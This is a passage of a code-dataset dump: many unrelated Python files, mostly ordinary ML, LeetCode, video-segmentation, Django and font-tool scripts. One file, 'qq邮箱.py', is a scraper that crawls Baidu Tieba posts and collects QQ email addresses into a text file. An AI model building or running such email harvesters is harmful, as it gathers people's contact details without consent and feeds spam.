dfTextBin]\n dfText = [i.lower() for i in dfTextLong]\n dfText = [re.sub(r'[^a-z ]', '', i) for i in dfText]\n dfText = [' '.join(item.split()[:max_words_review - 1]) for item in dfTextLong if item]\n dfSentiment = fdS.readlines() \n \n frequencyArray = np.zeros((len(dfText), max_words_review))\n for i, review in enumerate(dfText):\n for j, word in enumerate(review.split(' ')):\n frequencyArray[i][j] = word_bank[word] if word in word_bank else 0\n\n y_train = np.array([1 if int(i) > 0 else 0 for i in dfSentiment])\n\n fdT.close()\n fdS.close()\n\n yield(frequencyArray, y_train)\n \n## Get functors for generation of train and test data\ntrainTextPath = \"data/trainText\"\ntrainFunnyPath = \"data/trainFunny\"\ntestTextPath = \"data/testText\"\ntestFunnyPath = \"data/testFunny\"\n\ntrainGen = dataGenerator(trainTextPath, trainFunnyPath)\ntestGen = dataGenerator(testTextPath, testFunnyPath)\n\nmodel = Sequential() \nmodel.add(Embedding(input_dim=vocab_size, \n output_dim=embedding_dim, \n input_length=max_words_review))\n\nmodel.add(Conv1D(60, 25, activation='relu'))\nmodel.add(MaxPooling1D(25))\nmodel.add(Flatten())\nmodel.add(Dense(units=50, activation='relu'))\nmodel.add(Dense(units=1, activation='sigmoid'))\n# model.add(LSTM(50))\n# model.add(Dropout(0.1))\n# #model.add(Dense(60, activation='sigmoid'))\n# model.add(Dense(500, activation='sigmoid'))\n# model.add(Dense(100, activation='sigmoid'))\n# model.add(Dense(10, activation='sigmoid'))\n# model.add(Dense(1, activation='sigmoid'))\n\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\nmodel_json = model.to_json()\nwith open(\"model.json\", \"w\") as json_file:\n json_file.write(model_json)\nprint(model.summary())\n\nfilesTrain = [name for name in os.listdir(trainTextPath)]\nstepsTrain = len(filesTrain)\nfilesTest = [name for name in os.listdir(testTextPath)]\nstepsTest = len(filesTest)\n\ndef handler(signum, frame):\n print(\"Got kill signal, saving model anyways\")\n model.save('trainedFunnyYelp.neural_net')\n sys.exit(1)\n\nsignal.signal(signal.SIGINT, handler)\n\nmodel.fit_generator(trainGen, \n steps_per_epoch=stepsTrain,\n validation_data=testGen,\n validation_steps=stepsTest,\n epochs=2,\n shuffle=True,\n verbose=1)\n\nmodel.save('trainedFunnyYelp.neural_net')\n\n## show a nicely formatted classification report\n#print(\"[INFO] evaluating network...\")\n#print(classification_report(testLabels.argmax(axis=1), predIdxs, target_names=lb.classes_))\n#print(\"Accuracy:\", scores[1]) # 0.8766\n","sub_path":"code_generator.py","file_name":"code_generator.py","file_ext":"py","file_size_in_byte":5027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"425382989","text":"class Solution:\n # Every continuous increasing subsequence is disjoint, and the boundary of each such\n # subsequence occurs whenever nums[i-1] >= nums[i]. When it does, it marks the start\n # of a new increasing subsequence at nums[i], and we store such i in the variable anchor.\n # We record a candidate answer of i - anchor + 1, the length of the subarray nums[anchor],nums[anchor+1],...,nums[i]\n def findLengthOfLCIS(self, nums):\n ans = anchor = 0\n for i in range(len(nums)):\n if i and nums[i - 1] >= nums[i]: anchor = i\n ans = max(ans, i - anchor + 1)\n return ans\n","sub_path":"Solutions/674. Longest Continuous Increasing Subsequence/674.py","file_name":"674.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"429960865","text":"import sys\nclass Solution:\n \"\"\"\n @param: A: An integer array\n @return: A list of integers includes the index of the first number and the index of the last number\n \"\"\"\n def continuousSubarraySum(self, A):\n # write your code here\n if not A:\n return []\n \n dp = [(0, 0) for _ in range(len(A) + 1)]\n dp[0] = (0, -1)\n\n maxi = -sys.maxsize\n for i in range(1, len(A) + 1):\n index = i - 1\n if dp[i - 1][0] >= 0:\n dp[i] = (dp[i - 1][0] + A[index], dp[i-1][1])\n else:\n dp[i] = (A[index], index - 1)\n\n if dp[i][0] > maxi:\n maxi = dp[i][0]\n left = dp[i][1] + 1\n right = index\n return [left, right]\n","sub_path":"402 continuous subarray sum.py","file_name":"402 continuous subarray sum.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"152023695","text":"import numpy as np\nimport os\nfrom pylab import *\nimport shutil\nfrom PIL import Image\nfrom skimage.color import rgb2gray\nfrom skimage.io import imread\nfrom skimage import color\nfrom skimage.segmentation import relabel_sequential\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nfrom bidict import bidict\nfrom joblib import Parallel, delayed\n\nldof_cpu = \"external/pami2010LibLinux64/demo_ldof\"\ncolor_flow = 'externel/flow_util/color_flow'\nsegtrackv2_dir = \"data/SegTrackv2/\"\n\ndef alpha_composite(img, mask, alpha=0.5):\n comp = Image.blend(Image.fromarray(img), Image.fromarray(mask), alpha)\n return np.asarray(comp)\n\ndef mask_to_rgb(mask,color):\n mask = rgb2gray(mask)\n mask = mask > 0.5\n r,c = mask.shape\n mask_rgb = np.zeros((r,c,3))\n rows,cols = np.nonzero(mask)\n mask_rgb[rows, cols,:] = color\n mask_rgb = mask_rgb.astype(np.ubyte)\n return mask_rgb\n\ndef make_overlay_mask(img, mask):\n rows, cols, _ = np.nonzero(mask)\n overlay_mask = img.copy()\n overlay_mask[rows, cols] = mask[rows, cols]\n return overlay_mask\n\ndef get_segtrack_gt(name):\n with open(os.path.join(segtrackv2_dir, \"ImageSets\", name+\".txt\")) as f:\n file_list = f.readlines()[1:]\n \n gt_dir = os.path.join(segtrackv2_dir,\"GroundTruth\", name)\n entries = os.listdir(gt_dir)\n gts = []\n if len(entries) < 3 :\n for e in entries:\n gt_path = os.path.join(gt_dir, e)\n gt = [os.path.join(gt_path, f.rstrip()+ \".png\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_path, f.rstrip()+\".bmp\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_path, f.rstrip()+\".jpg\") for f in file_list]\n \n gts.append(sorted(gt))\n else:\n gt = [os.path.join(gt_dir, f.rstrip()+ \".png\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_dir, f.rstrip()+\".bmp\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_dir, f.rstrip()+\".jpg\") for f in file_list]\n \n gts.append(sorted(gt))\n\n ret = []\n for gt in gts:\n frames = []\n for f in gt:\n frames.append(rgb2gray(imread(f)))\n ret.append(frames)\n return ret\n \ndef get_segtrack_frames(name, with_gt=True, gt_only=False):\n with open(os.path.join(segtrackv2_dir, \"ImageSets\", name+\".txt\")) as f:\n file_list = f.readlines()[1:]\n video_dir = os.path.join(segtrackv2_dir,\"JPEGImages\", name)\n frames = [os.path.join(video_dir, f.rstrip()+\".png\") for f in file_list]\n if not os.path.exists(frames[0]):\n frames = [os.path.join(video_dir, f.rstrip()+\".bmp\") for f in file_list]\n if not os.path.exists(frames[0]):\n frames = [os.path.join(video_dir, f.rstrip()+\".jpg\") for f in file_list]\n \n frames = sorted(frames)\n\n if not with_gt:\n imgs = []\n for f_name in frames:\n frame = imread(f_name)\n imgs.append(frame)\n \n return imgs\n \n gt_dir = os.path.join(segtrackv2_dir,\"GroundTruth\", name)\n entries = os.listdir(gt_dir)\n gts = []\n if len(entries) < 3 :\n for e in entries:\n gt_path = os.path.join(gt_dir, e)\n gt = [os.path.join(gt_path, f.rstrip()+ \".png\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_path, f.rstrip()+\".bmp\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_path, f.rstrip()+\".jpg\") for f in file_list]\n \n gts.append(sorted(gt))\n else:\n gt = [os.path.join(gt_dir, f.rstrip()+ \".png\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_dir, f.rstrip()+\".bmp\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_dir, f.rstrip()+\".jpg\") for f in file_list]\n \n gts.append(sorted(gt))\n \n overlayed = []\n n_gts = len(gts)\n n_frames = len(file_list)\n colors = [(255, 0, 0), (0, 255, 0)]\n\n for n in range(n_frames):\n img = imread(frames[n])\n r,c,_ = img.shape\n mask_all = np.zeros((r,c,3))\n for (i,gt) in enumerate(gts):\n mask = imread(gts[i][n])\n rgb = mask_to_rgb(mask, colors[i])\n mask_all += rgb\n overlay_mask = make_overlay_mask(img, mask_all)\n overlayed.append(alpha_composite(img, overlay_mask))\n\n return overlayed\n\nimport string\nimport random\n\nalphabets = string.digits + string.letters\n\ndef randstr(n):\n return ''.join(random.choice(alphabets) for i in xrange(n))\n\ndef get_flow(im1, im2):\n from skimage.io import imsave\n tmp1 = randstr(10)+'.ppm'\n tmp2 = randstr(10)+'.ppm'\n tmp3 = randstr(10)+'.flo'\n tmp4 = randstr(10)+'.npy'\n tmp5 = randstr(10)+'.png'\n imsave(tmp1, im1)\n imsave(tmp2, im2)\n os.system('%s %s %s %s %s' % (ldof_cpu, tmp1, tmp2, tmp3, tmp4))\n os.system('%s %s %s' % (color_flow, tmp3, tmp5))\n flow = np.load(tmp4)\n flow_img = imread(tmp5)\n for f in [tmp1, tmp2, tmp3, tmp4, tmp5]:\n os.remove(f)\n return flow, flow_img\n \ndef flow_dir(name):\n dir_name = 'data/rgb/' + name\n f_names = [os.path.join(dir_name, f) for f in os.listdir(dir_name)]\n f_names = sorted(f_names)\n\n cur = f_names[0]\n\n r,c,_ = imread(f_names[0]).shape\n vx = np.zeros((r,c,len(f_names)-1))\n vy = np.zeros((r,c,len(f_names)-1))\n for (i,nxt) in enumerate(f_names[1:]):\n im1 = imread(cur)\n im2 = imread(nxt)\n\n flow,img = get_flow(im1,im2)\n imsave(\"%05d.flo.color.png\" % i, img)\n vx[:,:,i] = flow[:,:,0]\n vy[:,:,i] = flow[:,:,1]\n #print cur,nxt\n # command = \"%s %s %s %05d.flo %05d.npy\" % (ldof_cpu, cur, nxt, i,i)\n # os.system(command)\n # command = \"%s %05d.flo %05d.flo.color.png\" % (color_flow,i,i)\n # os.system(command)\n \n cur = nxt\n\n from scipy.io import savemat\n import os\n \n if not os.paths.exists('data/flow/' + name): os.mkdir('data/flow/' + name)\n \n savemat(\"data/flow/%s/vx.mat\" % name, {'vx':vx}) \n savemat(\"data/flow/%s/vy.mat\" % name, {'vy':vy}) \n \n\ndef get_frames(dir_name):\n f_names = [os.path.join(dir_name, f) for f in os.listdir(dir_name)]\n f_names = sorted(f_names)\n imgs = [imread(f) for f in f_names]\n return imgs\n \ndef show_video(frames,save_file=None):\n fig = plt.figure()\n ims = []\n for f in frames:\n ims.append([plt.imshow(f)])\n \n ani = animation.ArtistAnimation(fig, ims, interval=50, blit=True,repeat_delay=1000)\n \n if save_file:\n Writer = animation.writers['ffmpeg']\n writer = Writer(fps=15, metadata=dict(artist='Me'), bitrate=1800)\n# ani.save(save_file,writer=writer)\n ani.save(save_file,fps=30)\n else:\n plt.show() \n\ndef play_video(name, save_file=None):\n imgs = get_frames(\"data/rgb/%s/\" %name)\n show_video(imgs, save_file)\n \ndef save_frames(frames):\n from scipy.misc import imsave\n from skimage.transform import resize \n for (i,f) in enumerate(frames):\n n = i+1\n# f = resize(f, (160,240,3))\n imsave(\"%05d.png\" % n, f)\n\ndef get_segtrack_gt(name):\n with open(os.path.join(segtrackv2_dir, \"ImageSets\", name+\".txt\")) as f:\n file_list = f.readlines()[1:]\n \n gt_dir = os.path.join(segtrackv2_dir,\"GroundTruth\", name)\n entries = os.listdir(gt_dir)\n gts = []\n if len(entries) < 3 :\n for e in entries:\n gt_path = os.path.join(gt_dir, e)\n gt = [os.path.join(gt_path, f.rstrip()+ \".png\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_path, f.rstrip()+\".bmp\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_path, f.rstrip()+\".jpg\") for f in file_list]\n \n gts.append(sorted(gt))\n else:\n gt = [os.path.join(gt_dir, f.rstrip()+ \".png\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_dir, f.rstrip()+\".bmp\") for f in file_list]\n if not os.path.exists(gt[0]):\n gt = [os.path.join(gt_dir, f.rstrip()+\".jpg\") for f in file_list]\n \n gts.append(sorted(gt))\n\n ret = []\n for gt in gts:\n frames = []\n for f in gt:\n frames.append(rgb2gray(imread(f)))\n ret.append(frames)\n return ret\n\ndef get_sp_adj_job(seg):\n uni = np.unique(seg)\n r,c = seg.shape\n\n adj = np.zeros((len(uni), len(uni)), dtype=np.bool)\n from collections import defaultdict\n# adj = defaultdict(set)\n for j in range(r):\n for i in range(c):\n if i and seg[j,i-1] != seg[j,i]:\n adj[seg[j,i-1],seg[j,i]] = 1\n adj[seg[j,i], seg[j,i-1]] = 1\n if j and seg[j-1,i] != seg[j,i]:\n adj[seg[j-1,i],seg[j,i]] = 1\n adj[seg[j,i],seg[j-1,i]] = 1\n \n return adj\n\ndef sp_adj(segs):\n \n adjs = Parallel(n_jobs=-1)(delayed(get_sp_adj_job)(segs[i]) for i in range(len(segs)))\n \n return adjs\n\n\ndef relabel_job(sp_label):\n count = 0\n r,c = sp_label.shape\n seg = np.zeros((r,c),dtype=np.int)\n mapping = bidict()\n \n for y in range(r):\n for x in range(c):\n l = sp_label[y,x]\n if l not in mapping.keys():\n seg[y,x] = count\n mapping[l] = count\n count += 1\n else:\n seg[y,x] = mapping[l]\n \n return seg, mapping\n \ndef relabel(sp_label):\n r,c,n = sp_label.shape\n\n r = Parallel(n_jobs=-1)(delayed(relabel_job)(sp_label[:,:,i]) for i in range(n))\n segs,mappings = zip(*r)\n \n return segs, mappings\n \ndef compute_ap(gt, pred):\n score = 0\n for i in range(len(pred)):\n m1 = np.zeros(gt[0].shape)\n m2 = np.zeros(gt[0].shape)\n m1[gt[i].astype(int) == 1] = 1\n m2[pred[i].astype(int) == 1] = 1\n \n score += float(np.sum(np.logical_and(m1, m2))) / np.sum(np.logical_or(m1, m2))\n\n return score / len(pred)\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":10286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"180642798","text":"n = int(input())\ndata = list(map(int, input().split()))\nresult = 0\n\ndata.sort(reverse=True)\n\nfor i in range(n):\n for j in range(i + 1, n):\n result += data[i] + data[j]\n \n break\n\nprint(result)\n\n","sub_path":"baekjoon-py/그리디/모두의마블.py","file_name":"모두의마블.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"590458839","text":"\nimport collections\n\n\nclass MagicDictionary:\n def __init__(self):\n self.table = collections.defaultdict(set)\n\n def buildDict(self, dictionary) -> None:\n for word in dictionary:\n n = len(word)\n if n not in self.table:\n self.table[n] = set()\n self.table[n].add(word)\n\n def search(self, searchWord: str) -> bool:\n n = len(searchWord)\n if n not in self.table:\n return False\n\n for s in self.table[n]:\n count = 0\n for i in range(n):\n if searchWord[i] != s[i]:\n count += 1\n\n if count == 1:\n return True\n\n return False\n\n\n\n","sub_path":"LeetcodeNew/python/LC_676.py","file_name":"LC_676.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"203682180","text":"import asyncore\nimport game\nfrom client.session import *\nimport communication.message_handler as message_handler\n\n\nclass Connection(asyncore.dispatcher_with_send):\n\n def new_session(self):\n \"\"\"\n Add new session to the list of connected sessions\n :return:\n \"\"\"\n session = Session(self)\n game.connections.append(session)\n\n print(\"Number of connections: \" + str(len(game.connections)))\n\n def handle_read(self):\n \"\"\"\n Override asyncore reading with incoming data\n :return:\n \"\"\"\n data = self.recv(1024)\n session = game.async_server.find_session_by_socket(self)\n\n if data:\n message_handler.parse(session, data.decode())\n else:\n session.close()\n","sub_path":"network/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"10072237","text":"#!usr/bin/env python \n#-*- coding:utf-8 -*-\nimport requests\nimport re\nfrom multiprocessing import pool\ndef get_url(url):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'\n }\n # url = 'http://tieba.baidu.com/f/search/res?isnew=1&kw=&qw=python%BD%CC%B3%CC%20%D3%CA%CF%E4&rn=10&un=&only_thread=0&sm=1&sd=&ed=&pn=1'\n html = requests.get(url,headers=headers).content.decode('gbk')\n detail_link = re.findall(r'.*?',html,re.S)\n for link in list(map(lambda x:'http://tieba.baidu.com'+x,detail_link)):\n get_qq_email(link)\ndef get_qq_email(link):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'\n }\n html = requests.get(link).content.decode('utf-8')\n email = list(set(re.findall(r'[0-9]+@[a-zA-Z]+\\.[a-z]+',html)))\n print(email)\n fp = open('email.txt','a')\n for qq in email:\n fp.write(qq+'\\n')\n next_url = re.findall(r'下一页',html)\n if next_url:\n get_qq_email('http://tieba.baidu.com'+next_url[0])\n else:\n print(\"最后一页爬取完成!\")\n return\nif __name__ == '__main__':\n url_list= list(map(lambda x:'http://tieba.baidu.com/f/search/res?isnew=1&kw=&qw=%CA%D3%C6%B5%20%D3%CA%CF%E4&rn=10&un=&only_thread=0&sm=1&sd=&ed=&pn={}'.format(x),[i for i in range(1,77)]))\n # for url in url_list:\n # get_url(url)\n p = pool.Pool()\n p.map(get_url,url_list)\n","sub_path":"spider/ArticleSpider/ArticleSpider/utils/qq邮箱.py","file_name":"qq邮箱.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"530873422","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error, r2_score\n\n#Le format des données d'entrée est moisJours, le 03/16 deviens donc 316\n#La date 335 ci dessous correspond au 0403 qui est 5 jours apres 330\n\n#Points d'entrée\nx = [[316],[318],[320],[324],[325],[326],[327],[328],[330],[335]]\ny = [[81682.0],[81720.0],[81760.0],[81826.0],[81844.0],[81864.0],[81881.0],[81900.0],[81933.0],[82003.0]]\n\n#Variables\nmodelDeRegression = LinearRegression()\nmodelDeRegression.fit(x, y)\nyPrevu = modelDeRegression.predict(x)\n\n#Affichage\nplt.scatter(x, y, s=10)\nplt.scatter(336, modelDeRegression.predict([[336]]), s=11)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.plot(x, yPrevu, color='r')\nplt.show()\n\n#Résultat\nprint('y(336) estimé à ', modelDeRegression.predict([[336]]))","sub_path":"Controle/04042019/regressionLineaireElectrique.py","file_name":"regressionLineaireElectrique.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"334530538","text":"import numpy as np\r\nimport random\r\nimport rl.printer\r\nimport gym\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nclass priorityQ(object):\r\n Q = []\r\n P = []\r\n M = []\r\n state_space = None\r\n action_space = None\r\n groups = None\r\n alpha = .1\r\n gamma = .99\r\n theta = 100\r\n explore = 1.0\r\n explore_min = .01\r\n explore_decay = .001\r\n k = 1.0\r\n\r\n def __init__(self, state_space, action_space, group=5):\r\n self.state_space = state_space\r\n self.action_space = action_space\r\n self.groups = group\r\n\r\n shap = [self.groups for i in range(self.state_space)]\r\n shap.append(self.action_space)\r\n shap = tuple(shap)\r\n\r\n self.Q = np.zeros(shape=shap)\r\n\r\n def continuous_2_discrete(self, obs):\r\n location = self.Q\r\n for i in range(len(obs)):\r\n value = int(obs[i] * 100) % self.groups\r\n location = location[value]\r\n\r\n return location\r\n\r\n def take_action(self, obs):\r\n if random.random() < self.explore:\r\n return np.random.randint(0, self.action_space)\r\n return np.argmax(self.continuous_2_discrete(obs))\r\n\r\n def add_to_queue(self, obs, action, next_obs, reward, index=None):\r\n q_obs = self.continuous_2_discrete(obs)\r\n q_next_obs = self.continuous_2_discrete(next_obs)\r\n\r\n p = abs(reward + self.gamma * max(q_next_obs) - q_obs[action])\r\n if p > self.theta:\r\n self.P.append([obs, action, next_obs, reward])\r\n if index is not None:\r\n self.M.pop(index)\r\n else:\r\n self.M.append([obs, action, next_obs, reward])\r\n\r\n def update(self):\r\n q_obs = self.continuous_2_discrete(self.P[0][0])\r\n q_next_obs = self.continuous_2_discrete(self.P[0][2])\r\n\r\n q_obs[self.P[0][1]] = (1 - self.alpha) * q_obs[self.P[0][1]] \\\r\n + self.alpha * (self.P[0][3]\r\n + self.gamma * max(q_next_obs))\r\n\r\n for i in range(len(self.M)):\r\n for p in self.P:\r\n if all(self.M[i][2] == p[0]):\r\n self.add_to_queue(*self.M[i], index=i)\r\n\r\n self.P = self.P[1:]\r\n\r\n\r\ndef run(episodes=1000, hallucinations=100):\r\n loss = []\r\n n = int(episodes / 10)\r\n\r\n printer = rl.printer.printer()\r\n ql = priorityQ(state_space=8, action_space=env.action_space.n)\r\n\r\n obs = env.reset()\r\n for epi in range(episodes):\r\n if (epi + 1) % (episodes / 10) == 0:\r\n print(\"EPOCH ------> {}\".format(epi+1))\r\n printer.print_results()\r\n\r\n done = False\r\n score = 0\r\n while not done:\r\n if (epi + 1) % (episodes / 10) == 0:\r\n env.render()\r\n action = ql.take_action(obs)\r\n next_obs, reward, done, info = env.step(action)\r\n\r\n ql.add_to_queue(obs, action, next_obs, reward)\r\n obs = next_obs\r\n\r\n score += reward\r\n\r\n if done:\r\n obs = env.reset()\r\n loss.append(score)\r\n\r\n n = 0\r\n ql.P = sorted(ql.P, key=lambda x: x[3], reverse=True)\r\n while n < hallucinations and len(ql.P):\r\n ql.update()\r\n n += 1\r\n\r\n printer.rewards.append(score)\r\n if ql.explore > ql.explore_min:\r\n ql.explore -= ql.explore_decay\r\n\r\n env.close()\r\n return loss\r\n\r\n\r\nif __name__ == \"__main__\":\r\n env = gym.make('LunarLander-v2')\r\n env.seed(120)\r\n loss = run(episodes=1000, hallucinations=100)\r\n\r\n plt.title(\"Avg Reward for Agent at {} Episodes\".format(1000))\r\n plt.ylabel(\"Avg Reward\")\r\n plt.plot([i + 1 for i in range(0, len(loss))],\r\n loss)\r\n plt.show()","sub_path":"NonNetworkBased/priorityQ.py","file_name":"priorityQ.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"121134340","text":"from django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom auth_.models import User\nfrom common.constants import PENDING, DONE\nfrom market.models import ProductAvailability\nfrom payments.models import Order, Transaction\n\n\n@receiver(post_save, sender=Transaction)\ndef set_assignee(sender, instance, created, **kwargs):\n if created:\n Order.objects.create(transaction=instance)\n\n\ndef save_assignee(instance, assignee):\n instance.assignee = assignee\n instance.status = PENDING\n instance.save()\n\n\n@receiver(post_save, sender=Order)\ndef set_assignee(sender, instance, created, **kwargs):\n if created:\n assignee_min_tasks = User.objects.count_orders().first()\n director = User.objects.directors().first()\n if assignee_min_tasks:\n save_assignee(instance, assignee_min_tasks)\n elif director:\n save_assignee(instance, director)\n\n\n@receiver(post_save, sender=Order)\ndef completion_check(sender, instance, created, **kwargs):\n if instance.status == DONE:\n instance.transaction.availability.amount -= 1\n instance.transaction.availability.save()","sub_path":"market_place/payments/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"466715083","text":"from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\nfrom settings import DEBUG, MEDIA_ROOT\n\nurlpatterns = patterns('',\n\n# url(r'^auth/login/$', 'django.contrib.auth.views.login', {'template_name': 'account/login.html'}),\n\n url(r'^auth/', include('intranet.apps.account.urls')),\n url(r'^user/', include('intranet.apps.account.urls')),\n url(r'^me/', 'intranet.apps.account.views.me'),\n url(r'^posts/', include('intranet.apps.post.urls')),\n\n # Examples:\n # url(r'^$', 'intranet.views.home', name='home'),\n # url(r'^intranet/', include('intranet.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n)\n\nif DEBUG:\n# urlpatterns += patterns('django.views.staticfiles.views',\n# url(r'^static/(?P.*)$', 'serve'),\n# )\n urlpatterns += patterns('',\n (r'^media/(?P.*)$', 'django.views.static.serve', {'document_root': MEDIA_ROOT}),\n )\n\n urlpatterns += staticfiles_urlpatterns()","sub_path":"intranet/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"620434275","text":"__all__ = [ \"isbinary\", \"isiterable\" ]\n\ndef _inttobyte(i):\n \"\"\"Takes an integer in the 8-bit range and returns a single-character byte\n object.\n\n \"\"\"\n return bytes((i,))\n\n_text_characters = (b''.join(_inttobyte(i) for i in range(32, 127)) +\n b'\\n\\r\\t\\f\\b')\n\ndef isbinary(fileobj, blocksize=512):\n \"\"\"Uses heuristics to guess whether the given file is a text or a binary\n file, by reading a single block of bytes from the file.\n\n If more than 30% of the bytes in the block are non-text, or there are NUL\n ('\\x00') bytes in the block, assume this is a binary file.\n\n \"\"\"\n block = fileobj.read(blocksize)\n if b'\\x00' in block:\n # Files with null bytes are binary.\n return True\n elif not block:\n # An empty file is considered a valid text file.\n return True\n\n # Uses translate's 'deletechars' to argument to efficiently remove all\n # occurrences of _text_characters from the block.\n nontext = block.translate(None, _text_characters)\n return float(len(nontext)) / len(block) > 30.0\n\ndef isiterable(obj):\n \"\"\"Returns whether an object allows iteration.\n\n True if obj provides __iter__, False otherwise.\n\n Note that this function returns False when obj is of type str in Python 2.\n\n \"\"\"\n return getattr(obj, '__iter__', False)\n","sub_path":"pyfea/util/lang.py","file_name":"lang.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"393867442","text":"import os\nfrom shutil import copyfile\nfolder = input('Enter the name of directory: ')\nos.mkdir(folder)\nsrc = '../../cp-templates/template.py'\ndst = folder + '/problem'\nfor i in range(1,4):\n dst1 = dst + str(i) +'.py'\n copyfile(src, dst1)\nf = open(folder+'/input.txt', 'w')\nf.close()","sub_path":"codechef/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"478358548","text":"# MenuTitle: Export Nametable File\nimport codecs\n\nfrom GlyphsApp import Glyphs, GetSaveFile, Message\n\n__doc__ = \"\"\"\nExport a .nam file that contains Unicode values and their assigned glyph names.\n\"\"\"\n\nfont = Glyphs.font\n\nout_path = GetSaveFile(\n \"Save Nametable\",\n ProposedFileName=f\"{font.familyName}.nam\",\n filetypes=[\"nam\"],\n)\n\nif out_path:\n\n header = f\"%%FONTLAB NAMETABLE: {font.familyName}\\n\"\n\n mappings = {}\n for g in font.glyphs:\n if g.unicodes is None:\n continue\n for u in g.unicodes:\n key = f\"0x{u}\"\n if key not in mappings:\n mappings[key] = g.name\n else:\n Message(\n f\"Found duplicate Unicode mapping: {key} in {g.name} and \"\n f\"{mappings[key]}, please fix.\"\n )\n\n with codecs.open(out_path, \"wb\", \"utf-8\") as f:\n f.write(header)\n for k, v in sorted(mappings.items()):\n f.write(f\"{k} {v}\\n\")\n","sub_path":"Encoding/Export nam File.py","file_name":"Export nam File.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"630780077","text":"import pygame\nimport math\n\nclass Checkbox:\n def __init__(self, location):\n self.location = location\n self.checked = False\n\n def click(self):\n if self.checked:\n self.checked = False\n else:\n self.checked = True\n\n\n\nclass ClueTracker:\n def __init__(self):\n # # Initialize the pygame module\n # pygame.init()\n\n self.ROW_SIZE = 25\n self.COL_SIZE = 6\n self.BOX_SIZE = 30\n self.TEXT_SIZE = 40\n self.CLUETRACKER_WIDTH = self.BOX_SIZE * self.COL_SIZE\n self.CLUETRACKER_HEIGHT = self.BOX_SIZE * self.ROW_SIZE\n self.CLUETRACKER_LOCATION = [0,0]\n self.checkboxes = []\n self.clue_tracker_surface = None\n\n self.row_text = [\"PLAYERS\",\n \"WHO?\",\n \"Scarlet\",\n \"Plum\",\n \"Mustard\",\n \"Peacock\",\n \"Green\",\n \"White\",\n \"WHAT?\",\n \"Candlestick\",\n \"Dagger\",\n \"Pistol\",\n \"Lead Pipe\",\n \"Rope\",\n \"Wrench\",\n \"WHERE?\",\n \"Study\",\n \"Hall\",\n \"Lounge\",\n \"Library\",\n \"Billiard Room\",\n \"Dining Room\",\n \"Conservatory\",\n \"Ballroom\",\n \"Kitchen\"\n ]\n\n # Text variables\n self.font = pygame.font.SysFont('goudy', self.TEXT_SIZE)\n\n # Initialize checkboxes\n self.init_checkboxes()\n\n 